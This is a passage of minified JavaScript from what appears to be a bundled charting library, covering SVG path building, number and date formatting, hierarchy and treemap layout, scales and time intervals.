t==null?null:[[+t[0],e[0][1]],[+t[1],e[1][1]]]},"input"),output:o(function(t){return t&&[t[0][0],t[1][0]]},"output")},d1t={name:"y",handles:["n","s"].map(U_),input:o(function(t,e){return t==null?null:[[e[0][0],+t[0]],[e[1][0],+t[1]]]},"input"),output:o(function(t){return t&&[t[0][1],t[1][1]]},"output")},p1t={name:"xy",handles:["n","w","e","s","nw","ne","sw","se"].map(U_),input:o(function(t){return t==null?null:qSe(t)},"input"),output:o(function(t){return t},"output")};o(U_,"type")});var HW=N(()=>{"use strict";UW()});function qW(t){this._+=t[0];for(let e=1,r=t.length;e=0))throw new Error(`invalid digits: ${t}`);if(e>15)return qW;let r=10**e;return function(n){this._+=n[0];for(let i=1,a=n.length;i{"use strict";H_=Math.PI,q_=2*H_,Ad=1e-6,WSe=q_-Ad;o(qW,"append");o(YSe,"appendRound");_d=class{static{o(this,"Path")}constructor(e){this._x0=this._y0=this._x1=this._y1=null,this._="",this._append=e==null?qW:YSe(e)}moveTo(e,r){this._append`M${this._x0=this._x1=+e},${this._y0=this._y1=+r}`}closePath(){this._x1!==null&&(this._x1=this._x0,this._y1=this._y0,this._append`Z`)}lineTo(e,r){this._append`L${this._x1=+e},${this._y1=+r}`}quadraticCurveTo(e,r,n,i){this._append`Q${+e},${+r},${this._x1=+n},${this._y1=+i}`}bezierCurveTo(e,r,n,i,a,s){this._append`C${+e},${+r},${+n},${+i},${this._x1=+a},${this._y1=+s}`}arcTo(e,r,n,i,a){if(e=+e,r=+r,n=+n,i=+i,a=+a,a<0)throw new Error(`negative radius: ${a}`);let s=this._x1,l=this._y1,u=n-e,h=i-r,f=s-e,d=l-r,p=f*f+d*d;if(this._x1===null)this._append`M${this._x1=e},${this._y1=r}`;else if(p>Ad)if(!(Math.abs(d*u-h*f)>Ad)||!a)this._append`L${this._x1=e},${this._y1=r}`;else{let m=n-s,g=i-l,y=u*u+h*h,v=m*m+g*g,x=Math.sqrt(y),b=Math.sqrt(p),T=a*Math.tan((H_-Math.acos((y+p-v)/(2*x*b)))/2),S=T/b,w=T/x;Math.abs(S-1)>Ad&&this._append`L${e+S*f},${r+S*d}`,this._append`A${a},${a},0,0,${+(d*m>f*g)},${this._x1=e+w*u},${this._y1=r+w*h}`}}arc(e,r,n,i,a,s){if(e=+e,r=+r,n=+n,s=!!s,n<0)throw new Error(`negative radius: ${n}`);let l=n*Math.cos(i),u=n*Math.sin(i),h=e+l,f=r+u,d=1^s,p=s?i-a:a-i;this._x1===null?this._append`M${h},${f}`:(Math.abs(this._x1-h)>Ad||Math.abs(this._y1-f)>Ad)&&this._append`L${h},${f}`,n&&(p<0&&(p=p%q_+q_),p>WSe?this._append`A${n},${n},0,1,${d},${e-l},${r-u}A${n},${n},0,1,${d},${this._x1=h},${this._y1=f}`:p>Ad&&this._append`A${n},${n},0,${+(p>=H_)},${d},${this._x1=e+n*Math.cos(a)},${this._y1=r+n*Math.sin(a)}`)}rect(e,r,n,i){this._append`M${this._x0=this._x1=+e},${this._y0=this._y1=+r}h${n=+n}v${+i}h${-n}Z`}toString(){return this._}};o(WW,"path");WW.prototype=_d.prototype});var W_=N(()=>{"use strict";YW()});var XW=N(()=>{"use strict"});var jW=N(()=>{"use strict"});var KW=N(()=>{"use strict"});var QW=N(()=>{"use strict"});var ZW=N(()=>{"use strict"});var JW=N(()=>{"use strict"});var eY=N(()=>{"use strict"});function Y_(t){return Math.abs(t=Math.round(t))>=1e21?t.toLocaleString("en").replace(/,/g,""):t.toString(10)}function Dd(t,e){if((r=(t=e?t.toExponential(e-1):t.toExponential()).indexOf("e"))<0)return null;var r,n=t.slice(0,r);return[n.length>1?n[0]+n.slice(2):n,+t.slice(r+1)]}var Lv=N(()=>{"use strict";o(Y_,"default");o(Dd,"formatDecimalParts")});function bl(t){return t=Dd(Math.abs(t)),t?t[1]:NaN}var Rv=N(()=>{"use strict";Lv();o(bl,"default")});function X_(t,e){return function(r,n){for(var i=r.length,a=[],s=0,l=t[0],u=0;i>0&&l>0&&(u+l+1>n&&(l=Math.max(1,n-u)),a.push(r.substring(i-=l,i+l)),!((u+=l+1)>n));)l=t[s=(s+1)%t.length];return a.reverse().join(e)}}var tY=N(()=>{"use strict";o(X_,"default")});function j_(t){return function(e){return e.replace(/[0-9]/g,function(r){return t[+r]})}}var rY=N(()=>{"use strict";o(j_,"default")});function Nh(t){if(!(e=XSe.exec(t)))throw new Error("invalid format: "+t);var e;return new k5({fill:e[1],align:e[2],sign:e[3],symbol:e[4],zero:e[5],width:e[6],comma:e[7],precision:e[8]&&e[8].slice(1),trim:e[9],type:e[10]})}function k5(t){this.fill=t.fill===void 0?" ":t.fill+"",this.align=t.align===void 0?">":t.align+"",this.sign=t.sign===void 0?"-":t.sign+"",this.symbol=t.symbol===void 0?"":t.symbol+"",this.zero=!!t.zero,this.width=t.width===void 0?void 0:+t.width,this.comma=!!t.comma,this.precision=t.precision===void 0?void 0:+t.precision,this.trim=!!t.trim,this.type=t.type===void 0?"":t.type+""}var XSe,K_=N(()=>{"use strict";XSe=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;o(Nh,"formatSpecifier");Nh.prototype=k5.prototype;o(k5,"FormatSpecifier");k5.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type}});function Q_(t){e:for(var e=t.length,r=1,n=-1,i;r0&&(n=0);break}return n>0?t.slice(0,n)+t.slice(i+1):t}var nY=N(()=>{"use strict";o(Q_,"default")});function J_(t,e){var r=Dd(t,e);if(!r)return t+"";var n=r[0],i=r[1],a=i-(Z_=Math.max(-8,Math.min(8,Math.floor(i/3)))*3)+1,s=n.length;return a===s?n:a>s?n+new Array(a-s+1).join("0"):a>0?n.slice(0,a)+"."+n.slice(a):"0."+new Array(1-a).join("0")+Dd(t,Math.max(0,e+a-1))[0]}var Z_,eD=N(()=>{"use strict";Lv();o(J_,"default")});function E5(t,e){var r=Dd(t,e);if(!r)return t+"";var n=r[0],i=r[1];return i<0?"0."+new Array(-i).join("0")+n:n.length>i+1?n.slice(0,i+1)+"."+n.slice(i+1):n+new Array(i-n.length+2).join("0")}var iY=N(()=>{"use strict";Lv();o(E5,"default")});var tD,aY=N(()=>{"use strict";Lv();eD();iY();tD={"%":o((t,e)=>(t*100).toFixed(e),"%"),b:o(t=>Math.round(t).toString(2),"b"),c:o(t=>t+"","c"),d:Y_,e:o((t,e)=>t.toExponential(e),"e"),f:o((t,e)=>t.toFixed(e),"f"),g:o((t,e)=>t.toPrecision(e),"g"),o:o(t=>Math.round(t).toString(8),"o"),p:o((t,e)=>E5(t*100,e),"p"),r:E5,s:J_,X:o(t=>Math.round(t).toString(16).toUpperCase(),"X"),x:o(t=>Math.round(t).toString(16),"x")}});function S5(t){return t}var sY=N(()=>{"use strict";o(S5,"default")});function rD(t){var e=t.grouping===void 0||t.thousands===void 0?S5:X_(oY.call(t.grouping,Number),t.thousands+""),r=t.currency===void 0?"":t.currency[0]+"",n=t.currency===void 0?"":t.currency[1]+"",i=t.decimal===void 0?".":t.decimal+"",a=t.numerals===void 0?S5:j_(oY.call(t.numerals,String)),s=t.percent===void 0?"%":t.percent+"",l=t.minus===void 0?"\u2212":t.minus+"",u=t.nan===void 0?"NaN":t.nan+"";function h(d){d=Nh(d);var p=d.fill,m=d.align,g=d.sign,y=d.symbol,v=d.zero,x=d.width,b=d.comma,T=d.precision,S=d.trim,w=d.type;w==="n"?(b=!0,w="g"):tD[w]||(T===void 0&&(T=12),S=!0,w="g"),(v||p==="0"&&m==="=")&&(v=!0,p="0",m="=");var k=y==="$"?r:y==="#"&&/[boxX]/.test(w)?"0"+w.toLowerCase():"",A=y==="$"?n:/[%p]/.test(w)?s:"",C=tD[w],R=/[defgprs%]/.test(w);T=T===void 0?6:/[gprs]/.test(w)?Math.max(1,Math.min(21,T)):Math.max(0,Math.min(20,T));function I(L){var E=k,D=A,_,O,M;if(w==="c")D=C(L)+D,L="";else{L=+L;var P=L<0||1/L<0;if(L=isNaN(L)?u:C(Math.abs(L),T),S&&(L=Q_(L)),P&&+L==0&&g!=="+"&&(P=!1),E=(P?g==="("?g:l:g==="-"||g==="("?"":g)+E,D=(w==="s"?lY[8+Z_/3]:"")+D+(P&&g==="("?")":""),R){for(_=-1,O=L.length;++_M||M>57){D=(M===46?i+L.slice(_+1):L.slice(_))+D,L=L.slice(0,_);break}}}b&&!v&&(L=e(L,1/0));var B=E.length+L.length+D.length,F=B>1)+E+L+D+F.slice(B);break;default:L=F+E+L+D;break}return a(L)}return o(I,"format"),I.toString=function(){return d+""},I}o(h,"newFormat");function f(d,p){var m=h((d=Nh(d),d.type="f",d)),g=Math.max(-8,Math.min(8,Math.floor(bl(p)/3)))*3,y=Math.pow(10,-g),v=lY[8+g/3];return function(x){return m(y*x)+v}}return o(f,"formatPrefix"),{format:h,formatPrefix:f}}var oY,lY,cY=N(()=>{"use strict";Rv();tY();rY();K_();nY();aY();eD();sY();oY=Array.prototype.map,lY=["y","z","a","f","p","n","\xB5","m","","k","M","G","T","P","E","Z","Y"];o(rD,"default")});function nD(t){return C5=rD(t),cc=C5.format,A5=C5.formatPrefix,C5}var C5,cc,A5,uY=N(()=>{"use strict";cY();nD({thousands:",",grouping:[3],currency:["$",""]});o(nD,"defaultLocale")});function _5(t){return Math.max(0,-bl(Math.abs(t)))}var hY=N(()=>{"use strict";Rv();o(_5,"default")});function D5(t,e){return Math.max(0,Math.max(-8,Math.min(8,Math.floor(bl(e)/3)))*3-bl(Math.abs(t)))}var fY=N(()=>{"use strict";Rv();o(D5,"default")});function L5(t,e){return t=Math.abs(t),e=Math.abs(e)-t,Math.max(0,bl(e)-bl(t))+1}var dY=N(()=>{"use strict";Rv();o(L5,"default")});var iD=N(()=>{"use strict";uY();K_();hY();fY();dY()});var pY=N(()=>{"use strict"});function jSe(t){var e=0,r=t.children,n=r&&r.length;if(!n)e=1;else for(;--n>=0;)e+=r[n].value;t.value=e}function aD(){return this.eachAfter(jSe)}var mY=N(()=>{"use strict";o(jSe,"count");o(aD,"default")});function sD(t,e){let r=-1;for(let n of this)t.call(e,n,++r,this);return this}var gY=N(()=>{"use strict";o(sD,"default")});function oD(t,e){for(var r=this,n=[r],i,a,s=-1;r=n.pop();)if(t.call(e,r,++s,this),i=r.children)for(a=i.length-1;a>=0;--a)n.push(i[a]);return this}var yY=N(()=>{"use strict";o(oD,"default")});function lD(t,e){for(var r=this,n=[r],i=[],a,s,l,u=-1;r=n.pop();)if(i.push(r),a=r.children)for(s=0,l=a.length;s{"use strict";o(lD,"default")});function cD(t,e){let r=-1;for(let n of this)if(t.call(e,n,++r,this))return n}var xY=N(()=>{"use strict";o(cD,"default")});function uD(t){return this.eachAfter(function(e){for(var r=+t(e.data)||0,n=e.children,i=n&&n.length;--i>=0;)r+=n[i].value;e.value=r})}var bY=N(()=>{"use strict";o(uD,"default")});function hD(t){return this.eachBefore(function(e){e.children&&e.children.sort(t)})}var TY=N(()=>{"use strict";o(hD,"default")});function fD(t){for(var e=this,r=KSe(e,t),n=[e];e!==r;)e=e.parent,n.push(e);for(var i=n.length;t!==r;)n.splice(i,0,t),t=t.parent;return n}function KSe(t,e){if(t===e)return t;var r=t.ancestors(),n=e.ancestors(),i=null;for(t=r.pop(),e=n.pop();t===e;)i=t,t=r.pop(),e=n.pop();return i}var wY=N(()=>{"use strict";o(fD,"default");o(KSe,"leastCommonAncestor")});function dD(){for(var t=this,e=[t];t=t.parent;)e.push(t);return e}var kY=N(()=>{"use strict";o(dD,"default")});function pD(){return Array.from(this)}var EY=N(()=>{"use strict";o(pD,"default")});function mD(){var t=[];return this.eachBefore(function(e){e.children||t.push(e)}),t}var SY=N(()=>{"use strict";o(mD,"default")});function gD(){var t=this,e=[];return t.each(function(r){r!==t&&e.push({source:r.parent,target:r})}),e}var CY=N(()=>{"use strict";o(gD,"default")});function*yD(){var t=this,e,r=[t],n,i,a;do for(e=r.reverse(),r=[];t=e.pop();)if(yield t,n=t.children)for(i=0,a=n.length;i{"use strict";o(yD,"default")});function U0(t,e){t instanceof Map?(t=[void 0,t],e===void 0&&(e=JSe)):e===void 0&&(e=ZSe);for(var r=new Nv(t),n,i=[r],a,s,l,u;n=i.pop();)if((s=e(n.data))&&(u=(s=Array.from(s)).length))for(n.children=s,l=u-1;l>=0;--l)i.push(a=s[l]=new Nv(s[l])),a.parent=n,a.depth=n.depth+1;return r.eachBefore(t6e)}function QSe(){return U0(this).eachBefore(e6e)}function ZSe(t){return t.children}function JSe(t){return Array.isArray(t)?t[1]:null}function e6e(t){t.data.value!==void 0&&(t.value=t.data.value),t.data=t.data.data}function t6e(t){var e=0;do t.height=e;while((t=t.parent)&&t.height<++e)}function Nv(t){this.data=t,this.depth=this.height=0,this.parent=null}var _Y=N(()=>{"use strict";mY();gY();yY();vY();xY();bY();TY();wY();kY();EY();SY();CY();AY();o(U0,"hierarchy");o(QSe,"node_copy");o(ZSe,"objectChildren");o(JSe,"mapChildren");o(e6e,"copyData");o(t6e,"computeHeight");o(Nv,"Node");Nv.prototype=U0.prototype={constructor:Nv,count:aD,each:sD,eachAfter:lD,eachBefore:oD,find:cD,sum:uD,sort:hD,path:fD,ancestors:dD,descendants:pD,leaves:mD,links:gD,copy:QSe,[Symbol.iterator]:yD}});function DY(t){if(typeof t!="function")throw new Error;return t}var LY=N(()=>{"use strict";o(DY,"required")});function H0(){return 0}function Ld(t){return function(){return t}}var RY=N(()=>{"use strict";o(H0,"constantZero");o(Ld,"default")});function vD(t){t.x0=Math.round(t.x0),t.y0=Math.round(t.y0),t.x1=Math.round(t.x1),t.y1=Math.round(t.y1)}var NY=N(()=>{"use strict";o(vD,"default")});function xD(t,e,r,n,i){for(var a=t.children,s,l=-1,u=a.length,h=t.value&&(n-e)/t.value;++l{"use strict";o(xD,"default")});function bD(t,e,r,n,i){for(var a=t.children,s,l=-1,u=a.length,h=t.value&&(i-r)/t.value;++l{"use strict";o(bD,"default")});function n6e(t,e,r,n,i,a){for(var s=[],l=e.children,u,h,f=0,d=0,p=l.length,m,g,y=e.value,v,x,b,T,S,w,k;fb&&(b=h),k=v*v*w,T=Math.max(b/k,k/x),T>S){v-=h;break}S=T}s.push(u={value:v,dice:m{"use strict";MY();IY();r6e=(1+Math.sqrt(5))/2;o(n6e,"squarifyRatio");OY=o((function t(e){function r(n,i,a,s,l){n6e(e,n,i,a,s,l)}return o(r,"squarify"),r.ratio=function(n){return t((n=+n)>1?n:1)},r}),"custom")(r6e)});function R5(){var t=OY,e=!1,r=1,n=1,i=[0],a=H0,s=H0,l=H0,u=H0,h=H0;function f(p){return p.x0=p.y0=0,p.x1=r,p.y1=n,p.eachBefore(d),i=[0],e&&p.eachBefore(vD),p}o(f,"treemap");function d(p){var m=i[p.depth],g=p.x0+m,y=p.y0+m,v=p.x1-m,x=p.y1-m;v{"use strict";NY();PY();LY();RY();o(R5,"default")});var FY=N(()=>{"use strict";_Y();BY()});var $Y=N(()=>{"use strict"});var zY=N(()=>{"use strict"});function Mh(t,e){switch(arguments.length){case 0:break;case 1:this.range(t);break;default:this.range(e).domain(t);break}return this}var Mv=N(()=>{"use strict";o(Mh,"initRange")});function no(){var t=new D0,e=[],r=[],n=TD;function i(a){let s=t.get(a);if(s===void 0){if(n!==TD)return n;t.set(a,s=e.push(a)-1)}return r[s%r.length]}return o(i,"scale"),i.domain=function(a){if(!arguments.length)return e.slice();e=[],t=new D0;for(let s of a)t.has(s)||t.set(s,e.push(s)-1);return i},i.range=function(a){return arguments.length?(r=Array.from(a),i):r.slice()},i.unknown=function(a){return arguments.length?(n=a,i):n},i.copy=function(){return no(e,r).unknown(n)},Mh.apply(i,arguments),i}var TD,wD=N(()=>{"use strict";Ch();Mv();TD=Symbol("implicit");o(no,"ordinal")});function q0(){var t=no().unknown(void 0),e=t.domain,r=t.range,n=0,i=1,a,s,l=!1,u=0,h=0,f=.5;delete t.unknown;function d(){var p=e().length,m=i{"use strict";Ch();Mv();wD();o(q0,"band")});function kD(t){return function(){return t}}var VY=N(()=>{"use strict";o(kD,"constants")});function ED(t){return+t}var UY=N(()=>{"use strict";o(ED,"number")});function W0(t){return t}function SD(t,e){return(e-=t=+t)?function(r){return(r-t)/e}:kD(isNaN(e)?NaN:.5)}function i6e(t,e){var r;return t>e&&(r=t,t=e,e=r),function(n){return Math.max(t,Math.min(e,n))}}function a6e(t,e,r){var n=t[0],i=t[1],a=e[0],s=e[1];return i2?s6e:a6e,u=h=null,d}o(f,"rescale");function d(p){return p==null||isNaN(p=+p)?a:(u||(u=l(t.map(n),e,r)))(n(s(p)))}return o(d,"scale"),d.invert=function(p){return s(i((h||(h=l(e,t.map(n),Wi)))(p)))},d.domain=function(p){return arguments.length?(t=Array.from(p,ED),f()):t.slice()},d.range=function(p){return arguments.length?(e=Array.from(p),f()):e.slice()},d.rangeRound=function(p){return e=Array.from(p),r=l5,f()},d.clamp=function(p){return arguments.length?(s=p?!0:W0,f()):s!==W0},d.interpolate=function(p){return arguments.length?(r=p,f()):r},d.unknown=function(p){return arguments.length?(a=p,d):a},function(p,m){return n=p,i=m,f()}}function Iv(){return o6e()(W0,W0)}var HY,CD=N(()=>{"use strict";Ch();z0();VY();UY();HY=[0,1];o(W0,"identity");o(SD,"normalize");o(i6e,"clamper");o(a6e,"bimap");o(s6e,"polymap");o(N5,"copy");o(o6e,"transformer");o(Iv,"continuous")});function AD(t,e,r,n){var i=L0(t,e,r),a;switch(n=Nh(n??",f"),n.type){case"s":{var s=Math.max(Math.abs(t),Math.abs(e));return n.precision==null&&!isNaN(a=D5(i,s))&&(n.precision=a),A5(n,s)}case"":case"e":case"g":case"p":case"r":{n.precision==null&&!isNaN(a=L5(i,Math.max(Math.abs(t),Math.abs(e))))&&(n.precision=a-(n.type==="e"));break}case"f":case"%":{n.precision==null&&!isNaN(a=_5(i))&&(n.precision=a-(n.type==="%")*2);break}}return cc(n)}var qY=N(()=>{"use strict";Ch();iD();o(AD,"tickFormat")});function l6e(t){var e=t.domain;return t.ticks=function(r){var n=e();return q3(n[0],n[n.length-1],r??10)},t.tickFormat=function(r,n){var i=e();return AD(i[0],i[i.length-1],r??10,n)},t.nice=function(r){r==null&&(r=10);var n=e(),i=0,a=n.length-1,s=n[i],l=n[a],u,h,f=10;for(l0;){if(h=lv(s,l,r),h===u)return n[i]=s,n[a]=l,e(n);if(h>0)s=Math.floor(s/h)*h,l=Math.ceil(l/h)*h;else if(h<0)s=Math.ceil(s*h)/h,l=Math.floor(l*h)/h;else break;u=h}return t},t}function Tl(){var t=Iv();return t.copy=function(){return N5(t,Tl())},Mh.apply(t,arguments),l6e(t)}var WY=N(()=>{"use strict";Ch();CD();Mv();qY();o(l6e,"linearish");o(Tl,"linear")});function _D(t,e){t=t.slice();var r=0,n=t.length-1,i=t[r],a=t[n],s;return a{"use strict";o(_D,"nice")});function En(t,e,r,n){function i(a){return t(a=arguments.length===0?new Date:new Date(+a)),a}return o(i,"interval"),i.floor=a=>(t(a=new Date(+a)),a),i.ceil=a=>(t(a=new Date(a-1)),e(a,1),t(a),a),i.round=a=>{let s=i(a),l=i.ceil(a);return a-s(e(a=new Date(+a),s==null?1:Math.floor(s)),a),i.range=(a,s,l)=>{let u=[];if(a=i.ceil(a),l=l==null?1:Math.floor(l),!(a0))return u;let h;do u.push(h=new Date(+a)),e(a,l),t(a);while(hEn(s=>{if(s>=s)for(;t(s),!a(s);)s.setTime(s-1)},(s,l)=>{if(s>=s)if(l<0)for(;++l<=0;)for(;e(s,-1),!a(s););else for(;--l>=0;)for(;e(s,1),!a(s););}),r&&(i.count=(a,s)=>(DD.setTime(+a),LD.setTime(+s),t(DD),t(LD),Math.floor(r(DD,LD))),i.every=a=>(a=Math.floor(a),!isFinite(a)||!(a>0)?null:a>1?i.filter(n?s=>n(s)%a===0:s=>i.count(0,s)%a===0):i)),i}var DD,LD,wu=N(()=>{"use strict";DD=new Date,LD=new Date;o(En,"timeInterval")});var uc,XY,RD=N(()=>{"use strict";wu();uc=En(()=>{},(t,e)=>{t.setTime(+t+e)},(t,e)=>e-t);uc.every=t=>(t=Math.floor(t),!isFinite(t)||!(t>0)?null:t>1?En(e=>{e.setTime(Math.floor(e/t)*t)},(e,r)=>{e.setTime(+e+r*t)},(e,r)=>(r-e)/t):uc);XY=uc.range});var io,jY,ND=N(()=>{"use strict";wu();io=En(t=>{t.setTime(t-t.getMilliseconds())},(t,e)=>{t.setTime(+t+e*1e3)},(t,e)=>(e-t)/1e3,t=>t.getUTCSeconds()),jY=io.range});var ku,c6e,M5,u6e,MD=N(()=>{"use strict";wu();ku=En(t=>{t.setTime(t-t.getMilliseconds()-t.getSeconds()*1e3)},(t,e)=>{t.setTime(+t+e*6e4)},(t,e)=>(e-t)/6e4,t=>t.getMinutes()),c6e=ku.range,M5=En(t=>{t.setUTCSeconds(0,0)},(t,e)=>{t.setTime(+t+e*6e4)},(t,e)=>(e-t)/6e4,t=>t.getUTCMinutes()),u6e=M5.range});var Eu,h6e,I5,f6e,ID=N(()=>{"use strict";wu();Eu=En(t=>{t.setTime(t-t.getMilliseconds()-t.getSeconds()*1e3-t.getMinutes()*6e4)},(t,e)=>{t.setTime(+t+e*36e5)},(t,e)=>(e-t)/36e5,t=>t.getHours()),h6e=Eu.range,I5=En(t=>{t.setUTCMinutes(0,0,0)},(t,e)=>{t.setTime(+t+e*36e5)},(t,e)=>(e-t)/36e5,t=>t.getUTCHours()),f6e=I5.range});var Ro,d6e,Pv,p6e,O5,m6e,OD=N(()=>{"use strict";wu();Ro=En(t=>t.setHours(0,0,0,0),(t,e)=>t.setDate(t.getDate()+e),(t,e)=>(e-t-(e.getTimezoneOffset()-t.getTimezoneOffset())*6e4)/864e5,t=>t.getDate()-1),d6e=Ro.range,Pv=En(t=>{t.setUTCHours(0,0,0,0)},(t,e)=>{t.setUTCDate(t.getUTCDate()+e)},(t,e)=>(e-t)/864e5,t=>t.getUTCDate()-1),p6e=Pv.range,O5=En(t=>{t.setUTCHours(0,0,0,0)},(t,e)=>{t.setUTCDate(t.getUTCDate()+e)},(t,e)=>(e-t)/864e5,t=>Math.floor(t/864e5)),m6e=O5.range});function Md(t){return En(e=>{e.setDate(e.getDate()-(e.getDay()+7-t)%7),e.setHours(0,0,0,0)},(e,r)=>{e.setDate(e.getDate()+r*7)},(e,r)=>(r-e-(r.getTimezoneOffset()-e.getTimezoneOffset())*6e4)/6048e5)}function Id(t){return En(e=>{e.setUTCDate(e.getUTCDate()-(e.getUTCDay()+7-t)%7),e.setUTCHours(0,0,0,0)},(e,r)=>{e.setUTCDate(e.getUTCDate()+r*7)},(e,r)=>(r-e)/6048e5)}var wl,Ih,P5,B5,fc,F5,$5,QY,g6e,y6e,v6e,x6e,b6e,T6e,Od,Y0,ZY,JY,Oh,eX,tX,rX,w6e,k6e,E6e,S6e,C6e,A6e,PD=N(()=>{"use strict";wu();o(Md,"timeWeekday");wl=Md(0),Ih=Md(1),P5=Md(2),B5=Md(3),fc=Md(4),F5=Md(5),$5=Md(6),QY=wl.range,g6e=Ih.range,y6e=P5.range,v6e=B5.range,x6e=fc.range,b6e=F5.range,T6e=$5.range;o(Id,"utcWeekday");Od=Id(0),Y0=Id(1),ZY=Id(2),JY=Id(3),Oh=Id(4),eX=Id(5),tX=Id(6),rX=Od.range,w6e=Y0.range,k6e=ZY.range,E6e=JY.range,S6e=Oh.range,C6e=eX.range,A6e=tX.range});var Su,_6e,z5,D6e,BD=N(()=>{"use strict";wu();Su=En(t=>{t.setDate(1),t.setHours(0,0,0,0)},(t,e)=>{t.setMonth(t.getMonth()+e)},(t,e)=>e.getMonth()-t.getMonth()+(e.getFullYear()-t.getFullYear())*12,t=>t.getMonth()),_6e=Su.range,z5=En(t=>{t.setUTCDate(1),t.setUTCHours(0,0,0,0)},(t,e)=>{t.setUTCMonth(t.getUTCMonth()+e)},(t,e)=>e.getUTCMonth()-t.getUTCMonth()+(e.getUTCFullYear()-t.getUTCFullYear())*12,t=>t.getUTCMonth()),D6e=z5.range});var ao,L6e,kl,R6e,FD=N(()=>{"use strict";wu();ao=En(t=>{t.setMonth(0,1),t.setHours(0,0,0,0)},(t,e)=>{t.setFullYear(t.getFullYear()+e)},(t,e)=>e.getFullYear()-t.getFullYear(),t=>t.getFullYear());ao.every=t=>!isFinite(t=Math.floor(t))||!(t>0)?null:En(e=>{e.setFullYear(Math.floor(e.getFullYear()/t)*t),e.setMonth(0,1),e.setHours(0,0,0,0)},(e,r)=>{e.setFullYear(e.getFullYear()+r*t)});L6e=ao.range,kl=En(t=>{t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0)},(t,e)=>{t.setUTCFullYear(t.getUTCFullYear()+e)},(t,e)=>e.getUTCFullYear()-t.getUTCFullYear(),t=>t.getUTCFullYear());kl.every=t=>!isFinite(t=Math.floor(t))||!(t>0)?null:En(e=>{e.setUTCFullYear(Math.floor(e.getUTCFullYear()/t)*t),e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0)},(e,r)=>{e.setUTCFullYear(e.getUTCFullYear()+r*t)});R6e=kl.range});function iX(t,e,r,n,i,a){let s=[[io,1,1e3],[io,5,5*1e3],[io,15,15*1e3],[io,30,30*1e3],[a,1,6e4],[a,5,5*6e4],[a,15,15*6e4],[a,30,30*6e4],[i,1,36e5],[i,3,3*36e5],[i,6,6*36e5],[i,12,12*36e5],[n,1,864e5],[n,2,2*864e5],[r,1,6048e5],[e,1,2592e6],[e,3,3*2592e6],[t,1,31536e6]];function l(h,f,d){let p=fv).right(s,p);if(m===s.length)return t.every(L0(h/31536e6,f/31536e6,d));if(m===0)return uc.every(Math.max(L0(h,f,d),1));let[g,y]=s[p/s[m-1][2]{"use strict";Ch();RD();ND();MD();ID();OD();PD();BD();FD();o(iX,"ticker");[M6e,I6e]=iX(kl,z5,Od,O5,I5,M5),[$D,zD]=iX(ao,Su,wl,Ro,Eu,ku)});var G5=N(()=>{"use strict";RD();ND();MD();ID();OD();PD();BD();FD();aX()});function GD(t){if(0<=t.y&&t.y<100){var e=new Date(-1,t.m,t.d,t.H,t.M,t.S,t.L);return e.setFullYear(t.y),e}return new Date(t.y,t.m,t.d,t.H,t.M,t.S,t.L)}function VD(t){if(0<=t.y&&t.y<100){var e=new Date(Date.UTC(-1,t.m,t.d,t.H,t.M,t.S,t.L));return e.setUTCFullYear(t.y),e}return new Date(Date.UTC(t.y,t.m,t.d,t.H,t.M,t.S,t.L))}function Bv(t,e,r){return{y:t,m:e,d:r,H:0,M:0,S:0,L:0}}function UD(t){var e=t.dateTime,r=t.date,n=t.time,i=t.periods,a=t.days,s=t.shortDays,l=t.months,u=t.shortMonths,h=Fv(i),f=$v(i),d=Fv(a),p=$v(a),m=Fv(s),g=$v(s),y=Fv(l),v=$v(l),x=Fv(u),b=$v(u),T={a:P,A:B,b:F,B:G,c:null,d:hX,e:hX,f:nCe,g:dCe,G:mCe,H:eCe,I:tCe,j:rCe,L:gX,m:iCe,M:aCe,p:$,q:U,Q:pX,s:mX,S:sCe,u:oCe,U:lCe,V:cCe,w:uCe,W:hCe,x:null,X:null,y:fCe,Y:pCe,Z:gCe,"%":dX},S={a:j,A:te,b:Y,B:oe,c:null,d:fX,e:fX,f:bCe,g:LCe,G:NCe,H:yCe,I:vCe,j:xCe,L:vX,m:TCe,M:wCe,p:J,q:ue,Q:pX,s:mX,S:kCe,u:ECe,U:SCe,V:CCe,w:ACe,W:_Ce,x:null,X:null,y:DCe,Y:RCe,Z:MCe,"%":dX},w={a:I,A:L,b:E,B:D,c:_,d:cX,e:cX,f:K6e,g:lX,G:oX,H:uX,I:uX,j:W6e,L:j6e,m:q6e,M:Y6e,p:R,q:H6e,Q:Z6e,s:J6e,S:X6e,u:$6e,U:z6e,V:G6e,w:F6e,W:V6e,x:O,X:M,y:lX,Y:oX,Z:U6e,"%":Q6e};T.x=k(r,T),T.X=k(n,T),T.c=k(e,T),S.x=k(r,S),S.X=k(n,S),S.c=k(e,S);function k(re,ee){return function(Z){var K=[],ae=-1,Q=0,de=re.length,ne,Te,q;for(Z instanceof Date||(Z=new Date(+Z));++ae53)return null;"w"in K||(K.w=1),"Z"in K?(Q=VD(Bv(K.y,0,1)),de=Q.getUTCDay(),Q=de>4||de===0?Y0.ceil(Q):Y0(Q),Q=Pv.offset(Q,(K.V-1)*7),K.y=Q.getUTCFullYear(),K.m=Q.getUTCMonth(),K.d=Q.getUTCDate()+(K.w+6)%7):(Q=GD(Bv(K.y,0,1)),de=Q.getDay(),Q=de>4||de===0?Ih.ceil(Q):Ih(Q),Q=Ro.offset(Q,(K.V-1)*7),K.y=Q.getFullYear(),K.m=Q.getMonth(),K.d=Q.getDate()+(K.w+6)%7)}else("W"in K||"U"in K)&&("w"in K||(K.w="u"in K?K.u%7:"W"in K?1:0),de="Z"in K?VD(Bv(K.y,0,1)).getUTCDay():GD(Bv(K.y,0,1)).getDay(),K.m=0,K.d="W"in K?(K.w+6)%7+K.W*7-(de+5)%7:K.w+K.U*7-(de+6)%7);return"Z"in K?(K.H+=K.Z/100|0,K.M+=K.Z%100,VD(K)):GD(K)}}o(A,"newParse");function C(re,ee,Z,K){for(var ae=0,Q=ee.length,de=Z.length,ne,Te;ae=de)return-1;if(ne=ee.charCodeAt(ae++),ne===37){if(ne=ee.charAt(ae++),Te=w[ne in sX?ee.charAt(ae++):ne],!Te||(K=Te(re,Z,K))<0)return-1}else if(ne!=Z.charCodeAt(K++))return-1}return 